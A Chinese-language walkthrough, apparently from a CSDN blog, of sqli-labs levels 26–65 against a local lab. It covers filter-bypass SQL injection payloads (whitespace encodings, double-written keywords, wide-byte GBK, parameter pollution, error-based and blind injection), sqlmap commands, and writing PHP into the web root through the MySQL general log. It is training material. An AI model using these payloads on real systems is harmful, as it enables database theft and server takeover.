    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    if($row){
        #如果查询成功,返回查询数据的结果
    }
    else{
        #返回报错信息
    }
    #黑名单函数
    function blacklist($id)
    {
        $id= preg_replace('/or/i',"", $id);                //strip out OR (non case sensitive)
        $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
        $id= preg_replace('/[\/\*]/',"", $id);            //strip out /*
        $id= preg_replace('/[--]/',"", $id);            //Strip out --
        $id= preg_replace('/[#]/',"", $id);                //Strip out #
        $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
        return $id;
    }
}

过滤了orand的大小写,过滤了/*--#空格斜线

or and 可以用 || 和 &&来绕过,空格可以用以下符号来绕过,注释可以用闭合来绕过

id的拼接方式为id=’$id’

%09TAB 键(水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键(垂直)
%a0空格
  • 获取数据库

tips:源代码中把-符号给过滤了,所以在id那取一个不存在的数用一个较大的,就不用-1了

http://127.0.0.1/sqli-labs/Less-26/?id=99999'%0bunion%0bselect%0b2,database(),3%0banandd%0b1='1

–>返回

Welcome    Dhakkan
Your Login name:security
Your Password:1
  • 获取表单
?id=99999'%0bunion%0bselect%0b2,group_concat(table_name),3%0bfrom(infoorrmation_schema.tables)where(table_schema)="security"anandd%0b1='1

–>返回

Welcome    Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:3

#0x26a

源代码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

这一关除了id拼接方式不同,以及把报错信息注释了,不能使用报错注入了,其他的都同上一关一样,使用联合查询注入即可

id拼接方式为id=(’$id’)

就不重复注入了

#0x27

源代码分析

#sql语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#如果查询成功,返回查询信息,失败则返回报错信息
if($row)
{
    ...
}
#这一关的过滤函数
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out select
return $id;
}

这一关主要过滤了 /*--#+select和union的大小写

未进行严格过滤,union用双写绕过,select用selEct绕过,空格用%0b绕过,注释符号用闭合绕过

id的拼接方式为id=’$id’ 这里使用联合查询注入

  • 获取数据库
?id=9999'%0buniunionon%0bselEct%0b1,database(),3%0bor%0b1='1

–>返回

Welcome    Dhakkan
Your Login name:security
Your Password:1
  • 获取表单
id=9999'%0buniunionon%0bselEct%0b1,group_concat(table_name),3%0bfrom(information_schema.tables)where(table_schema="security")and%0b1='1

–>返回

Welcome    Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:3

#0x27a

简单源代码分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这一关除了id拼接方式不同,以及把报错信息注释了,不能使用报错注入了,其他的都同上一关一样,使用联合查询注入即可

id的拼接方式为 id=$id

就不重复注入了

#0x28

简单源代码分析

<?php
if(isset($_GET['id']))
{
    #黑名单过滤$id字符
    $id=$_GET['id'];
    $id= blacklist($id);
    
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    #如果查询成功
    if($row)
    {
        返回查询结果
    }
    else{
        不输出
    }
}
#黑名单函数
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}
?>

这一关过滤了/*--#空格union select大小写

可以用%0b绕过union select

没有回显报错信息的话就用联合查询注入来绕过

id 的拼接方式为id=(’$id’)

  • 获取数据库
?id=99999')%0bunion%0bselect%0b1,database(),3%0bor%0b1=('1

–>返回

Welcome    Dhakkan
Your Login name:security
Your Password:1
  • 查询表单
?id=99999%27)%0bunion%0bselect%0b1,(select%0bgroup_concat(table_name)from(information_schema.tables)where(table_schema="security")),3%0bor%0b1=(%271

–>返回

Welcome    Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:1

#0x28a

简单源代码分析

<?php
#如果存在GET请求id
if(isset($_GET['id']))
{
    
    #黑名单过滤
    $id= blacklist($id);
    
    #sql注入语句查询
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    #如果查询成功
    if($row){
        #返回查询结果
    }
    else{
        #不输出
    }
    
    function blacklist($id)
        {
            $id= preg_replace('/union\s+select/i',"", $id);        //Strip out spaces.
            return $id;
        }
}
?>

这一关比上一关的黑名单还少了过滤的条件,其他的都一样

id的拼接方式为id=(’$id’)

直接用0x28的payload即可

#0x29

源代码简单分析

  • index.php
<?php
#如果存在GET请求id
if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    if true:
        #返回查询结果
    else:
        #返回报错信息
}
?>
  • 从源码看未进行任何过滤,可以直接注入

报错注入

?id=-1' union select 1,2,updatexml(1,concat(0x3a,0x3a,((select table_name from information_schema.tables where table_schema='security' limit 3,1))),1)--+

–>返回

XPATH syntax error: '::users'

index.php就直接能注出来了,分析login.php

  • login.php
if(isset($_GET['id']))
{


    $qs = $_SERVER['QUERY_STRING'];    
    $hint=$qs;
    $id1=java_implimentation($qs);
    $id=$_GET['id'];
    whitelist($id1);
    
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
}
#白名单函数
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input);
    if($match)
    {
    }
    else
    {    
        header('Location: hacked.php');
    }
}


function java_implimentation($query_string)
{
    $q_s = $query_string;
    #&作为分隔符,分割字符串
    $qs_array= explode("&",$q_s);

    #遍历qs_array数组
    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        #如果数组前两位是id的话
        if($val=="id")
        {
            #截取$value的3-30的字符串作为id的值
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "<br>";
            break;
        }

    }

}

在java_implimentation()这个函数中,因为return表示了函数的结束运行,所以这个函数捕捉到id的时候就会返回return $id_value,这样就导致了如果用户输入两组id的话,那么后面的id就可以绕过函数的检测

id的拼接方式为id=‘id’

  • 直接使用报错注入
?id=99999&id=99998' union select 1,2,extractvalue(1,concat(0x3a,((select group_concat(id,username,password) from security.users))))--+

–> 返回

Welcome    Dhakkan
XPATH syntax error: ':1Dumb1,2Angelina1,3Dummy1,4secu'

#0x30

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

与0x29相比没什么变化,只是id的拼接方式不一样,利用方法同0x29

#0x31

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

0x29的利用方法,只是更改了id的拼接方法,这里的id拼接方法为id=("$id")

#0x32

简单源代码分析

if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
}
#在 ' '' \ 敏感字符前面添加反斜杠
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          
    $string = preg_replace('/\'/i', '\\\'', $string);                               
    $string = preg_replace('/\"/', "\\\"", $string);                                
    return $string;
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
    返回查询结果
else:
    返回报错信息

宽字符注入原理

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字

%df吃掉\

urlencode('\')=%5c%27
在前面添加%df 形成 %df%5c%27 MySQL会把两个字节%df%2c当作一个汉字,留下%27在外面,达到我们的目的
  • 使用宽字节报错注入
?id=-1%df' union select 1,2,(select updatexml(1,concat(0x3a,((select group_concat(password) from security.users))),1))--+

–>返回

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\phpstudy_pro\WWW\sqli-labs\Less-32\index.php on line 43
XPATH syntax error: ':1,1,1,1,1,1,1,password,1,1,1,1,'

#0x33

简单源代码分析

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

这一关同上一关,过滤的函数变成了addslashes 实现的效果都是一样的

预定义字符转义后
\\\
'\'
"\"

依旧可以使用宽字节注入,利用方法同0x32

#0x34

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

过滤方法同0x33,请求方法由GET请求转换成了POST请求

拼接方式为username=‘uname’

  • POST请求发送
  • 查询表名
uname=1%df'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#&passwd=1&submit=Submit
  • 查询字段

’‘被过滤了可以使用unhex()

uname=1%df'+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=unhex(7573657273)#&passwd=1&submit=Submit

–>返回

Your Password:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,username,password<br>

#0x35

简单源代码分析

#id使用addslashes函数来过滤了
$id=check_addslashes($_GET['id']);
function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}
#sql语句查询
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

可以看到id过滤了 ' '' \ ,不过sql语句查询并不需要 引号闭合

id闭合方式为id=$id

可以直接注入

  • 查询数据库
?id=-1 union select 1,2,database()--+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:security
  • 查询表单
?id=-1 union select 1,2,updatexml(1,concat(0x3a,((select group_concat(table_name)from information_schema.tables where table_schema=unhex(7365637572697479)))),1)--+

–>返回

XPATH syntax error: ':emails,referers,uagents,users'
  • 查询字段

updatexml函数和extractvalue函数只能爆出30个字符 这里用floor函数

?id=-1 union select 1,count(*),(concat(0x3a,((select table_name from information_schema.tables where table_schema=database() limit 3,1)),0x3a,floor(rand(0)*2)))name from information_schema.tables group by name--+

–>返回

Duplicate entry ':users:1' for key ''

#0x36

简单源代码分析

#过滤函数
function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
}

可以从源代码中分析 i d 经 过 m y s q l r e a l e s c a p e s t r i n g 转 义 且 i d 闭 合 方 式 为 i d = ′ id经过mysql_real_escape_string转义 且id闭合方式为id=' idmysqlrealescapestringidid=id’

#mysql_real_escape_string 转义字符
\x00
\n
\r
\
'
"
\x1a

可以使用宽字节注入来绕过

  • 查询表单
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

–> 返回

Welcome    Dhakkan
Your Login name:2
Your Password:emails,referers,uagents,users
  • 查询字段
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=unhex(7573657273)--+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,username,password
  • 查询数据
?id=-1%df' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users--+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:1:Dumb:1,2:Angelina:1,3:Dummy:1,4:secure:1,5:stupid:1,6:superman:1,7:batman:1,8:admin:password,9:admin1:1,10:admin2:1,11:admin3:1,12:dhakkan:1,14:admin4:1,15:test:password,16:admin188:123456,17:admin888:123456,18:admin'#888:123456

#0x37

简单源代码分析

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
        $uname1=$_POST['uname'];
        $passwd1=$_POST['passwd'];
        $uname = mysql_real_escape_string($uname1);
        $passwd= mysql_real_escape_string($passwd1);
        @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
}

过滤函数还是同0x36,只不过从GET型转变成了POST型,利用同0x36

拼接方式为 username=’$uname’

直接查询数据

uname=%df' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users#&passwd=

Less-3

堆叠注入原理

在执行MySQL语句的时候,默认是以;为结尾,代表语句的结束。如果注入过程中在;后面添加新的sql语句,就是堆叠注入
  • 简单演示
mysql> select * from users limit 0,1;select version();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | 1        |
+----+----------+----------+
1 row in set (0.00 sec)

+-----------+
| version() |
+-----------+
| 5.7.26    |
1 row in set (0.00 sec)

与union相比,堆叠查询更加灵活,可以执行任意的 SQL 语句

局限性

并不是每一个环境下都可以执行,可能受到api或者数据库引擎
在Web代码中通常只返回一个查询结果 因此堆叠注入的第二个查询可能会被忽略

#0x38

简单源代码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))

与之前的关卡区别不大,唯一的区别就是查询sql语句的函数变了

mysqli_multi_query 函数用于执行一个SQL语句,或者使用多个分号分隔的sql语句。这个就是堆叠注入产生的原因

开启日志GETSHELL

  • 需要条件
web的物理路径
Mysql可以读写Web目录

查看当前日志相关配置

mysql> show variables like "%general%";
+------------------+-----------------------------------------------------------------+
| Variable_name    | Value                                                           |
+------------------+-----------------------------------------------------------------+
| general_log      | OFF                                                             |
| general_log_file | D:\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-C8JN36D.log |
+------------------+-----------------------------------------------------------------+
2 rows in set, 1 warning (0.01 sec)

mysql>
  • 尝试开启日志并修改日志文件
?id=1';set global general_log="ON";set global general_log_file="D:\\phpstudy_pro\\WWW\\aaa.php";--+

mysql里查看修改成功了

mysql> show variables like "%general%";
+------------------+-----------------------------+
| Variable_name    | Value                       |
+------------------+-----------------------------+
| general_log      | ON                          |
| general_log_file | D:\phpstudy_pro\WWW\aaa.php |
+------------------+-----------------------------+
2 rows in set, 1 warning (0.01 sec)
  • 执行
?id=<?php phpinfo();?>

日志文件a.php里可以看到已经写入了

2022-02-13T06:03:03.911842Z      331 Query    SELECT * FROM users WHERE id='<?php phpinfo();?>' LIMIT 0,1

#0x39

简单源代码分析

if(isset($_GET['id']))
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))

只是id的拼接方式不同0x38其他都是一样的,这里就不再做重复的注入了

id的拼接方式为 id=$id

#0x40

id=('$id')

0x39一样,只是id拼接方式修改了

#0x41

id=$id

0x40,只是id拼接方式修改了,因为少了报错输出,这里就不能使用报错注入了

#0x42

  • login.php
   #$username被过滤 $password没有被过滤
   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
   if (@mysqli_multi_query($con1, $sql))

这个页面的password没有过滤,可以进行联合查询注入和报错注入 本身又支持堆叠查询,可以使用堆叠注入

闭合方式password=’$password’

  • 联合查询注入
login_user=admin&login_password=-1' union select 1,group_concat(id,username,password),3 from security.users#&mysubmit=Login
  • 报错注入
login_user=admin&login_password=-1' union select 1,2,updatexml(1,concat((select group_concat(username)from users)),3)#&mysubmit=Login
-1' union select 1,2,updatexml(1,concat((select right(group_concat(username),30)from users)),3)#

#0x43

与0x42的利用方式一致,只是拼接方式不同
拼接方式为username=('$username')

#0x44

与0x43的利用方式一致,没有输出报错信息,少了报错注入,只是拼接方式不同
拼接方式为username='$username'

#0x45

与0x44的利用方式一致,没有输出报错信息,只是拼接方式不同
拼接方式为username=('$username')

#0x46

$id=$_GET['sort'];    
$sql = "SELECT * FROM users ORDER BY $id";

这一关使用了 order by, order by不同于where后的注入点,不能使用union注入

使用报错注入

  • 查询数据库
?sort=(select%20updatexml(1,concat(0x3a,((select%20database()))),1))

–> 返回

Welcome    Dhakkan
XPATH syntax error: ':security'
  • 查询表单
?sort=(select%20updatexml(1,concat(0x3a,((select table_name from information_schema.tables where table_schema=database() limit 3,1))),1))

–>返回

Welcome    Dhakkan
XPATH syntax error: ':users'

#0x47

利用方式同 0x46 只是拼接方式不同
拼接方式为ORDER BY '$id'

#0x48

与0x47相比少了报错注入
拼接方式为ORDER BY $id

这里可以使用布尔盲注

  • rand()函数

因为rand(true)和rand(false)的结果是不一样的,利用这个来构造盲注

?sort=rand(true)
?sort=rand(false)
  • 根据回显分析数据库有8位==rand(true)的结果
?sort=rand(length(database())=8)
  • 数据库第一位ASCII码是115
?sort=rand(ascii(left(database(),1))=115)

其他以此类推

#0x49

同0x48 只是拼接方法不同 可以依旧使用布尔盲注
ORDER BY '$id'

#0x50

$sql="SELECT * FROM users ORDER BY $id";
if (mysqli_multi_query($con1, $sql))
与0x46相比,查询函数使用mysqli_multi_query,可以堆叠注入,更加灵活了
堆叠注入0x38 就不过多演示了

#0x51

同0x50 只是拼接方法不同 
ORDER BY '$id'

#0x52

同0x51的利用方式 只是少了报错注入
拼接方式为ORDER BY $id

#0x53

同0x52的利用方式 只是少了报错注入
ORDER BY '$id'

Less-4

#0x54

简单源代码分析

<?php
if(isset($_POST['reset']))
{
        #根据时间戳生成Cookie
        setcookie('challenge', ' ', time() - 3600000);    
}
if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
}
echo "You have made : ". $tryyy ." of $times attempts";
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'"
?>

需要在10次注入中得到key

  • 获取数据库
?id=-1' union select 1,2,database()--+

–> 返回

Your Login name:2
Your Password:challenges
  • 获取表单
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

–>返回

Your Login name:2
Your Password:j2ct4fccwv
  • 获取字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="j2ct4fccwv"--+

–>返回

Your Login name:2
Your Password:id,sessid,secret_BEUN,tryy
  • 查询Key!
?id=-1' union select 1,2,group_concat(secret_BEUN) from j2ct4fccwv--+

–>返回

Your Login name:2
Your Password:NmdtvukUlpOfrMtlFAqQgx7n

#0x55

利用同0x54,这一关给了14次机会,只是改变了id的闭合方式
id=($id)

#0x56

利用同0x54 只是改变闭合方式
id=('$id')

#0x57

利用同0x54,只是改变闭合方式
id="$id"

#0x58

简单源代码分析

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
                $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
else
{
    print_r(mysql_error());
}

这一关已经不能使用联合查询注入了,输出的结果都是 n a m e 的 数 组 和 name的数组和 namename的倒序,不过后面有报错信息,可以使用报错注入

id的拼接方式为 id=’$id’

  • 查询表单
?id=1' union select 1,2,(select updatexml(1,concat(0x3a,((select table_name from information_schema.tables where table_schema=database()))),1))--+

–>返回

XPATH syntax error: ':b5p6pq1r9l'
  • 查询字段
?id=1' union select 1,2,(select updatexml(1,concat(0x3a,((select column_name from information_schema.columns where table_name="b5p6pq1r9l" limit 2,1))),1))--+

–>返回

XPATH syntax error: ':secret_16E0'
  • 查询key!
?id=1' union select 1,2,(select updatexml(1,concat(0x3a,((select secret_16E0 from b5p6pq1r9l))),1))--+

–>返回

XPATH syntax error: ':27UKq2GXJUAngkmPWNv5VIog'

#0x59

与0x58利用方式一样 只是id拼接方式不同
id的拼接方式为id=$id

#0x60

与0x58利用方式一样 只是id拼接方式不同
id的拼接方式为id=("$id")

#0x61

与0x58利用方式一样 只是id拼接方式不同
id的拼接方式为id=(('$id'))

#0x62

此时报错信息也给注释了,就只能用布尔盲注或时间延时注入了,这时候就需要借助工具sqlmap了
  • 查询当前连接的数据库
python sqlmap.py --url "http://127.0.0.1/sqli-labs/Less-62/?id=1" --technique B --current-db --batch

–>返回

[19:41:01] [INFO] retrieved: challenges
current database: 'challenges'
  • 查询表单
python sqlmap.py --url "http://127.0.0.1/sqli-labs/Less-62/?id=1" --technique B -D challenges --tables --batch

–>返回

Database: challenges
[1 table]
+------------+
| 9iwekmr288 |
+------------+

sqlmap 再往下就注不出来了 因为发的payload超过了130次 这里就不再往下注入了

#0x63

与0x62利用方式一样 只是id拼接方式不同
id的拼接方式为id='$id'

#0x64

与0x62利用方式一样 只是id拼接方式不同
id的拼接方式为id=(($id))

#0x65

与0x62利用方式一样 只是id拼接方式不同
id的拼接方式为id=("$id")

总结

之前对于sql手工注入都没有深入理解,很多时候上sqlmap就直接解决了,借着这次刷完靶场系统学习手工注入的流程,效果也是显而易见的hhh。

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值